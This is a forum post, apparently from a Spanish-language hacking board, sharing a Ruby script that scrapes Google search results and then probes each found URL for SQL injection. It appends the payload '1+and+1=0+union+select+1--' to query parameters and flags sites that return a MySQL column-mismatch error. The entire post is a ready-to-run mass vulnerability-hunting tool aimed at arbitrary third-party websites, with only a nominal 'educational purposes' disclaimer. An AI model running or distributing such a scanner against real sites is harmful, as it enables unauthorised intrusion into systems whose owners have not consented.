Un buscador de google , con la opcion de poder hacer un scanner SQLI en las paginas encontradas.
#!usr/bin/ruby
#Google Search 0.3
#Coded By Doddy H

require "net/http"

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end

def openwords(file)
  if File.file?(file)
    print "[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end

def head()
  print "
  @@@@                     @           @@@                        @    
 @    @                    @          @   @                       @    
 @                         @          @                           @    
 @        @@@   @@@   @@@@ @  @@@     @       @@@   @@@  @@  @@@  @ @@ 
 @  @@@  @   @ @   @ @   @ @ @   @     @@@   @   @     @ @  @   @ @@  @
 @    @  @   @ @   @ @   @ @ @@@@@        @  @@@@@  @@@@ @  @     @   @
 @    @  @   @ @   @ @   @ @ @            @  @     @   @ @  @     @   @
 @   @@  @   @ @   @ @   @ @ @   @    @   @  @   @ @   @ @  @   @ @   @
  @@@ @   @@@   @@@   @@@@ @  @@@      @@@    @@@   @@@@ @   @@@  @   @
                         @                                             
                     @@@@                                              
                     
                     

                     "
end

def retor()
  print "\n\n[+] Press any key to continue\n\n"
  gets.chomp
  menu()
end


def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  exit(1)
end

def about()
  print "
  
This program was written by Doddy in the summer of 2012, I will not take responsibility for any misuse that can be given to the program was written only for educational purposes.
Any questions or suggestions please contact me my mail lepuke [at] hotmail.com
  
  "

end


def googlear(string,cantidad)
  print "\n\n[+] Searching ....\n\n"
  string = string.sub(/ /,"+")
  contador = 0
  guardo = []
  for i in ("1"..cantidad)
    contador+=10
    url = "http://www.google.com.ar/search?hl=&q=#{string}&start=#{contador}"
    code = toma(url)
    links = URI::extract(code)
    links.each do |link|
      if link=~/cache:(.*?):(.*?)\+/
        guardo.push($2)
      end
    end
  end
  guardo = guardo.uniq
  print "\n\n[+] Pages Count : ",guardo.length,"\n\n"
  return guardo
end

 def savefile(file,text)
   save = File.open(file, "a")
   save.puts text+"\n"
   save.close
end

def menu()
  head()
  print "\n\n1 - Search in google\n"
  print "2 - Scan SQLI\n"
  print "3 - About\n"
  print "4 - Exit"
  print "\n\n[Option] : "
  op = gets.chomp
  
  if op == "1"
    print "\n\n[+] String : "
    string = gets.chomp
    print "\n\n[+] Pages : "
    pages = gets.chomp
    total = googlear(string,pages)
    total.each do |to|
      print "[Link] : ",to,"\n"
      savefile(string+".txt",to)
    end
    retor()
    
  elsif op=="2"
    print "\n\n[+] File : "
    fi = gets.chomp
    paginas = openwords(fi)
    print "[+] Scanning ..\n\n\n"
    paginas.each do |pag|
      pag = pag.chomp
      if pag=~/(.*)=(.*)/
        final = $1+"="
        code = toma(final+"1+and+1=0+union+select+1--")
        if code=~/The used SELECT statements have a different number of columns/
          print "[SQLI] : "+final+"\n"
        end
      end
    end
    print "\n\n[+] Finished\n\n"
    retor()
  
  elsif op =="3"
    about()
    gets.chomp
    menu()
    
  elsif op=="4"
    copyright()
  else
   menu()    
  end
end

menu()

# The End ?
Responder

Volver a “Fuentes”